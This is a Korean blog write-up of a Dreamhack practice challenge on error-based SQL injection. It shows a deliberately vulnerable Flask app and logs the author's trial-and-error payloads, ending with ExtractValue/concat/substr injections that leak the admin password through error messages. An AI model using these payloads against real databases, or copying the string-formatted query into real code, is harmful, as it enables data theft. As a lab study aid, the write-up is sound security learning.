촉촉한초코칩

Dreamhack - error based sql injection 본문

Study/Web Hacking

Dreamhack - error based sql injection

햄친구베이컨 2024. 8. 15. 00:53

 

코드

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;

 

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

어떻게 해야 flag가 나오는지는 안 써있다.
제목에 써있는 것처럼 에러를 일으켜야 알수있을 것 같다. 

 

공격

1. '' 짝 안맞게 넣기

1'
(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1")

별다른 건 없는 것 같다..

2. char 값 넣기 → 에러 안 남

3. 문제 파일에 sh 파일도 있었다. 이걸 실행해보았다.

의미가 없는 것 같다..

4. 에러 출력하는 함수 사용 https://studysteadily.tistory.com/16

1' and 'extractvalue(1,concat(0x3a, hi))

SELECT * FROM user WHERE uid='1' and 'extractvalue(1,concat(0x3a, hi))';

extractvalue 함수 자체가 문자열이 되는데... 

1' and extractvalue'(1,concat(0x3a, hi))

SELECT * FROM user WHERE uid='1' and extractvalue'(1,concat(0x3a, hi))';
1' and extractvalue('1',concat(0x3a, (select databses())) and '1'='1

SELECT * FROM user WHERE uid='1' and extractvalue('1',concat(0x3a, (select databses())) and '1'='1';

 

결국 검색해서 왜 문제인지 알아냈다.. https://keyme2003.tistory.com/entry/dreamhack-error-based-sql-injection

일단 첫번째 uid에 맞는 값에 '를 넣고 뒤에 쿼리에는 '를 넣지 않는다.
마지막 주석문을 넣는다면 공백을 둬야 한다... 

1' and ExtractValue(1, concat(0x3a, (select databse())))--[공백]

음.. users 데이터베이스가 없다고 나온다. 

1' and ExtractValue(1, concat(0x01, database()))--

드디어 뭐가 나왔다..ㅎ

01은 내가 입력한 값인 것 같고 users는 데이터베이스명이 나온 것 같다. 

이번에는 select문을 넣어본다. 

1' and ExtractValue(1, concat(0x01, (select upw from users where uid='admin')))--

전에도 이게 나왔어서 뭐지 싶었는데.. 내가 sql문을 제대로 안봤다.. 

코드를 보면 users 이름의 데이터베이스를 만들고 그 안에 user 이름의 테이블을 만든다.. 

그러므로 from users가 아니라 from user라고 해야 한다... 

1' and ExtractValue(1, concat(0x01, (select upw from user where uid='admin')))--

당황.. 잘린거라고 한다. 

select문에서 substr를 써서 upw의 몇개의 문자를 보여줄지 정해준다.

1' and ExtractValue(1, concat(0x01, (select substr(upw, 20) from user where uid='admin')))--

20말고 더 큰숫자를 넣어도 화면에 보이는 문자 개수가 한정되어 있는 것 같다. 

 

아무튼 끝.. 

'Study > Web Hacking' 카테고리의 다른 글

Dreamhack - baby-union  (0) 2024.08.25
Dreamhack - command-injection-chatgpt  (0) 2024.08.25
Dreamhack - simple_sqli_chatgpt  (0) 2024.08.14
Dreamhack - php7cmp4re  (0) 2024.08.07
Dreamhack - XSS Filtering Bypass  (0) 2024.08.07